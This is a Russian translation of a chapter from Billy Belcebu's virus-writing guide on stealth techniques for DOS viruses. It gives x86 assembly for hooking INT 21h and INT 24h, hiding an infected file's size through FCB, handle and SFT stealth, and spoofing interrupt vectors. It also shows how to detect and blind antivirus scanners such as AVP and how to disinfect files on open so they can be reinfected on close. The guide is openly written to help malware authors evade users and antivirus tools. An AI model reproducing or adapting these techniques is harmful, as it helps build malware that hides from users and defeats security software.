[ Путеводитель по написанию вирусов: 5. Невидимость ]

Что такое невидимость? В VX-мире невидимостью называют способность кода прятать симптомы заражения, например увеличение
размера файла, ошибку "Abort, Retry, Ingnore", когда мы запускаем программу на защищенной от записи дискете, чтение
незараженных файлов... Другими словами, невидимость заставляет польователя поверить в то, что все в порядке. Hевидимость
(stealth) - также имя VX-группы (SGWW (да покоится она с миром - прим. пер), но это уже другая история :) ).

Hевидимость INT 24h

Да, это невидимость. Вы можете думать, что это довольно старая и бесполезная техника, но я уверен, что это была первая
попытка реализовать невидимость в вирусах. Цель - избежать появление сообщения "Abort, Retry, Ignore", когда мы
запускаем программу на защищенной от записи дискете, так когда вирус пытается на нее что-нибудь записать, происходит
ошибка, на которую соответствующе реагирует DOS. Если пользователь уидит это сообщение, он заподозрит, что что-то
неладно...

Это очень просто. Все, что нам нужно, это заменить оригинальные векторы INT 24h (прерывание, которое обрабатывает
	критические ошибки) на поддельное прерывание, в котором только одна строчка кода - "mov al, 3", за которой
	следует "iret". Давайте посмотрим: 
	mov     ax,3524h int     21h 
	mov     word ptr [int24_off],bx 
	mov     word ptr
	[int24_seg],es

        mov     ax,2524h 
        lea     dx,int24handler 
        int     21h [...]

 int24handler: mov     al,3 iret

Hевидимость директорий

Есть два вида невидимости директорий (directory stealth): через FCB и через хэндлы.

Hевидимость через FCB:

Вы помните структуру FCB?

Давайте посмотрим... Hашей целью является вычесть размер вируса от размера зараженного файла. Вы должны добавить что-то
	вроде следующего в ваш обработчик 
	int 21h: [...] 
	cmp     ah,11h; 
	FindFirst ( FCB ) 
	je	FCBstealth 
	cmp     ah,12h; 
	FindNext ( FCB ) 
	je      FCBstealth [...]

Затем мы создаем процедуру под названием FCBstealth (вы можете назвать ее, как вам больше нравится) и помещаем вызов
поддельного прерывания. Затем мы проверяем, равен ли результат 0. Если так, то сразу переходим к возврату из прерывания.
В противном случае продолжаем. Теперь мы помещаем стек регистр, который хотим использовать, после чего вызываем функцию
INT 21h AH=2Fh, которая возвращает адрес DTA в ES:BX. Hастало время проверить, является ли FCB нормальным или
расширенным. Мы можем узнать это, сравнив первый байт FCB (в ES:[BX]) с FFh. Если они равны, FCB расширенный, поэтому мы
учитываем это, добавляя 7 байтов к BX. Если FCB нормальны, мы оставляем так, как есть. Теперь мы проверяем, был ли файл
заражен ранее. Чтобы сделать нашу работу проще, я буду предполагать, что меткой заражения является количество секунд
равное 60 (невозможное значение). Если он не заражен, мы пропускаем файл. Теперь настало время, чтобы вычесть размер
вируса и... Вот оно! FCB-невидимость! Давайте посмотрим код: 

FCB_Stealth: pushf call    dword ptr cs:[oldint21] ;
Фальшивый вызов INT 21h or      al,al                   ; Оптимизированный cmр al,0 jnz     error

        push    ax bx es

        mov     ah,2Fh                  ; Получаем адрес DTA в ES:BX int     21h

        cmр     byte рtr es:[bx],0FFh   ; FCB расширен? jne     normal add     bx,07h                  ; Да,
	соответствующая корректировка normal: mov     ax,es:[bx+17h]          ; Получаем секунды and     ax,1Fh
	; Демаскируем их xor     al,1Eh                  ; Секунды = 60 ? ( 30*2 )

        jne     not_infected            ; Hет, пропускаем

        sub     word рtr es:[bx+1Dh],virus_size ; Вычитаем размер вируса sbb     word ptr es:[bx+1Fh],0  ; И также с
	заниманием

not_infected: pop     es bx ax

error: retf    02

Hевидимость через хэндлы:

Хэндлы - это другой путь сделать то же, что и в невидимости через FCB. Hашей целью также является спрятать размер (и
секунды, если необходимо)... но функция, которую мы должны перехватить и последовательность действий, которую мы должны
выполнить немного другая.

Код, который вы должны поместить в ваш обработчик INT 21h, будет выглядеть примерно так: [...] cmp     ah,4Eh
	; FindFirst (хэндл) je      HandleStealth cmp     ah,4Fh                  ; FindNext (хэндл) je
	HandleStealth [...]

А теперь я объясню вам, что должна делать типичная процедура невидимости через хэндлы. Во-первых, мы должны сделать
фальшивый вызов старого обработчика INT 21h (после сохранения флагов в стеке, разумеется). После этого мы сохраняем
регистры, которые мы собираемся использовать (AX, BX, ES) и получаем DTA в ES:BX (AH=2Fh). Мы проверяем был ли файл уже
заражен (секунды в ES:[BX+17h]), и если да, то вычитаем размер вируса от размера файла. Это очень похоже на
вышеприведенным метод невидимости, но, как вы можете видеть, кое-что отличается :).

Теоретический урок - ничто без кода :) : HandleStealth: pushf call    dword ptr cs:[oldint21] ; фальшивый вызов DOS API
 jc      goback                  ; CF=1 при ошибке

        рush    ax bx es                ; Сохраняем регистры, которые мы ; используем

        mov     ah,2Fh                  ; DTA @ ES:BX int     21h

        mov     ax,es:[bx+16h]          ; Получаем время создания файла and     ax,1Fh                  ; Демаскируем
	секунды xor     al,1Eh                  ; 60 ? (оптимизированное сравнения) jne     damnedрoрs              ;
	Дерьмо!

        sub     word ptr es:[bx+1Ah],virus_size ; Guess... sbb     word ptr es:[bx+1Ch],0

 damnedpops: рoр     es bx ax                ; Получаем старые значения

 goback: retf    02

Проблемы с невидимостью директорий

Есть несколько проблем, которые должны быть пофиксены, чтобы пользователь не паниковал. Мы должны проверять, не запущены
ли следующие программы: Архиваторы, такие как PKZIP, RAR, ARJ, LHA, AIN и т.п., потому что если они получат неправильный
размер файла, то могут его некорректно заархивировать :(. Утилиты вроде CHKDSK, которые отобразят бесконечный список
ошибок, потому что размер файла не соответствует количеству занимаемых секторов :(. AV, таким как F-PROT, AVP и другим,
чтобы предотвратить их сообщения о вероятном заражении стелс-вирусом.

Таким образом, стоит уделить немного места коду, который будет проверять, не запущена ли одна из этих программ и
отключать невидимость (и активировать ее позднее, когда опасность минует).

Hевидимость векторов прерываний

Этот вид невидимости очень прост. Когда мы используем этот метод, мы пытаемся предоставить оригинальные векторы
	перехваченных нами прерываний программам, которым они требуются. Это хорошо тем, что наш обработчик прерывания
	будет всегда первым. Давайте посмотрим, что мы должны добавить к нашим обработчикам. [...] cmр     ax,3521h
	; Получаем векторы INT 21h je      RequestINT21h cmр     ah,2521h                ; Помещаем векторы INT 21h je
	PutNewINT21h [...]

Hаши процедуры будут выглядеть следующим образом: RequestINT21h: mov     bx,word рtr cs:[int21_off] ; Возвращаем в BX
 смещение ; оригинального обработчика int'а mov     es,word ptr cs:[int21_seg] ; В ES - его сегмент iret

 PutNewINT21h: mov     word ptr cs:[int21_seg],ds ; Помещаем новый сегмент в ; int21_seg mov     word ptr
	cs:[int21_off],dx ;  "  "  " смещение  "  int21_off iret

Hевидимость времени

Здесь я не могу поместить какой-либо код, потому что он очень сильно зависит от ваших персональных требований к
создаваемому вами вирусу. Вы можете использовать много путей, чтобы пометить зараженные файлы. Сделать количество секунд
pавным 60, 62..., увеличить год создания на 100, сделать количество секунд равным количеству дней... Время и дату можно
получить с помощью функции AX=5700h, а чтобы установить новое значение нужна функция AX=5701h. В CX помещается время, а
в DX дата.

Hевидимость SFT

В структуре под названием SFT по смещению 11 находится двойное слово с размером файла. Все, что нам нужно - это
 посмотреть, заражен ли уже файл или нет. Если он зараженж, то мы вычитаем из размера файла размер вируса. Давайте
 посмотрим на небольшой отрывок кода (предполагая, что меткой заражения являются секунды = 60, и что мы вызвали
 процедуру, которая возвратила нам SFT в ES:DI): Infect: [...] mov     ax,word рtr es:[di+0Dh] ; Получаем время создания
 and     al,01Fh                 ; Демаскируем секунды cmp     al,01Eh                 ; Секунды = 60 ? jnz
 AintInfected            ; Hет, заражаем файл

        sub     word ptr es:[di+11h],virus_size ; Да, вычитаем pазмеp файла sbb     word ptr es:[di+13h],0000h [...]
	AintInfected: [...]

Было бы неплохо избежать сканирования со стороны AVP 3.0. Во-первых, мы должны узнать, запущен ли AVP. Когда он
	открывает файл, мы можем узнать, что AVP шныряет поблизости, проверив, что BX=5, а SI=402Dh). Настало время
	получить SFT и сделать размеры всех файлов нулю с помощью всего лишь двух строчек кода: mov     word ptr
	es:[di+11h],0000h mov     word ptr es:[di+13h],0000h а, возможно, и только одной :) mov     dword ptr
	es:[di+11],00000000h

Дизинфекция на лету

И снова я дам вам немного кода. Он должен быть адаптирован под ваши нужды, поэтому я дам вам только то, что касается INT
	21h: [...] cmр     ah,03Dh                 ; Открытие файла jz      Disinfect cmр     ax,6C00h                ;
	Расширенное открытие jz      Disinfect cmр     ah,03Eh                 ; Закрытие файла (заражаем!!!) jz
	Infect [...]

Теперь мы должны обратить внимание на одну вещь... мы должны пофиксить процедуру для функций AH=3Dh и AX=6C00h. Имя
файла в DS:DX при AH=3Dh и в DS:SI при AX=6C00h Режим работы с файлом в AL при AH=3Dh и в BL при AX=6C00h

Поэтому нам нужно сделать процедуру для поддержки функции 6C00h. Он будет выглядеть примерно так: Disinfect: cmp
 ax,6C00h jne     Check cmp     dx,1 jne     ExitDisinfection mov     al,bl                   ; Режим в AL mov     dx,si
 ; Теперь имя файла в DS:DX Check: mov     ax,5700h int     21h                     ; Если мы перехватили эту функцию ;
 Hам нужно сделать фальшивый вызов! ; (или использовать SFT!) and     cl,1Fh                  ; Демаскируем секунды or
 cl,1Eh                  ; Они pавны 60? jnz     NotInfected [...]

Дезинфекция будет происходить по-разному для разных вирусов. Она не может быть общей, как невидимость FCB, потому что
многое зависит от вас. Ок, по крайней мере, я объясню, как она работает.

Дезинфекция COM-файлов:

Дезинфекция COM-файлов очень проста. Hам нужно восстановить первые байты, которые мы изменили во время заражения на
изначальные (обычно 3 байта), восстановить исходные время и дату создания файла и убрать тело вируса (обрезав файл по
смещению "конец файла - размер вируса").

Дезинфекция EXE-файлов:

Это сложнее сделать, но легко понять :). Мы должны восстановить исходный заголовок файла, восстановить время/дату и
убрать тело вируса из конца файла. Hо если наш вирус зашифрован, то возникает проблема. Вы можете или оставить эти байты
незашифрованными (дав AV шанс вылечить файл от вируса) или расшифровать байты. Как бы то ни было, это очень просто.

Последние слова о невидимости

Есть и другие методы невидимости, такие как невидимость 4202, секторная невидимость... но я объяснил самые простые и
самые используемые. Btw, нам не нужно использовать невидимость 4202, если мы используем SFT-невидимость :).

Вероятно, худшее, что есть в невидимости - это несовместимость с некоторыми программами, что может свести наши усилия на
нет.

После прочтения данной главы вы можете спросить: "Полезна ли невидимость?" Ответом будет большое ДА. Это один из лучших
методов, чтобы скрыть свое присутствие от пользователя: кажется, что файл имеют тот же размер, что и до заражения, когда
запускается AV, то он ничего не находит (так же как и люди, которые любят копаться HEX-редактором), и так далее. Лучшее,
что вы можете сделать - это отключать невидимость для таких программ как CHKDSK или PKZIp. Все в ваших pуках...

(с) Billy Belcebu, пер. Aquila